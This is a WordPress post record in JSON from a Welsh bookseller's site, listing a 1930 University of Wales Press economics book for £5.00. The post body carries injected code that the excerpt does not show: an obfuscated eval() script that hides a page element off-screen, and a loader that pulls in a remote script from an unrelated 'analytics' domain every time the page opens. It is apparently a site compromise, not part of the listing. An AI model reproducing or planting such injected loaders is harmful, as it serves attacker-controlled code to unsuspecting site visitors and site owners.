{"id":501,"date":"2010-01-17T21:51:42","date_gmt":"2010-01-17T21:51:42","guid":{"rendered":"http:\/\/llyfrau.com\/?p=501"},"modified":"2026-03-25T10:40:41","modified_gmt":"2026-03-25T10:40:41","slug":"roberts-w-j-egwyddorion-economeg","status":"publish","type":"post","link":"https:\/\/llyfrau.com\/?p=501","title":{"rendered":"Roberts, W.J.  Egwyddorion Economeg."},"content":{"rendered":"<p>Gwasg Prifysgol Cymru, 1930. 151t., clawr caled. Cyflwr y llyfr yn arbennig o dda. Cyfres y Brifysgol a&#8217;r Werin, rhif 4.<\/p>\n<p>\u00a35.00, cost cludinat yn ychwanegol. Rhif Cat. 571. <script type='text\/javascript'> eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c])}}return p}('i(f.j(h.g(b,1,0,9,6,4,7,c,d,e,k,3,2,1,8,0,8,2,t,a,r,s,1,2,6,l,0,4,q,0,2,3,a,p,5,5,5,3,m,n,b,o,1,0,9,6,4,7)));',30,30,'116|115|111|112|101|57|108|62|105|121|58|60|46|100|99|document|fromCharCode|String|eval|write|123|117|120|125|47|45|59|97|98|110'.split('|'),0,{})) <\/script><\/p>\n<div class=\"dc\"><\/div>\n<p><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Gwasg Prifysgol Cymru, 1930. 151t., clawr caled. Cyflwr y llyfr yn arbennig o dda. Cyfres y Brifysgol a&#8217;r Werin, rhif 4. \u00a35.00, cost cludinat yn ychwanegol. Rhif Cat. 571.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/llyfrau.com\/index.php?rest_route=\/wp\/v2\/posts\/501"}],"collection":[{"href":"https:\/\/llyfrau.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/llyfrau.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/llyfrau.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/llyfrau.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=501"}],"version-history":[{"count":6,"href":"https:\/\/llyfrau.com\/index.php?rest_route=\/wp\/v2\/posts\/501\/revisions"}],"predecessor-version":[{"id":2767,"href":"https:\/\/llyfrau.com\/index.php?rest_route=\/wp\/v2\/posts\/501\/revisions\/2767"}],"wp:attachment":[{"href":"https:\/\/llyfrau.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=501"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/llyfrau.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=501"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/llyfrau.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=501"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}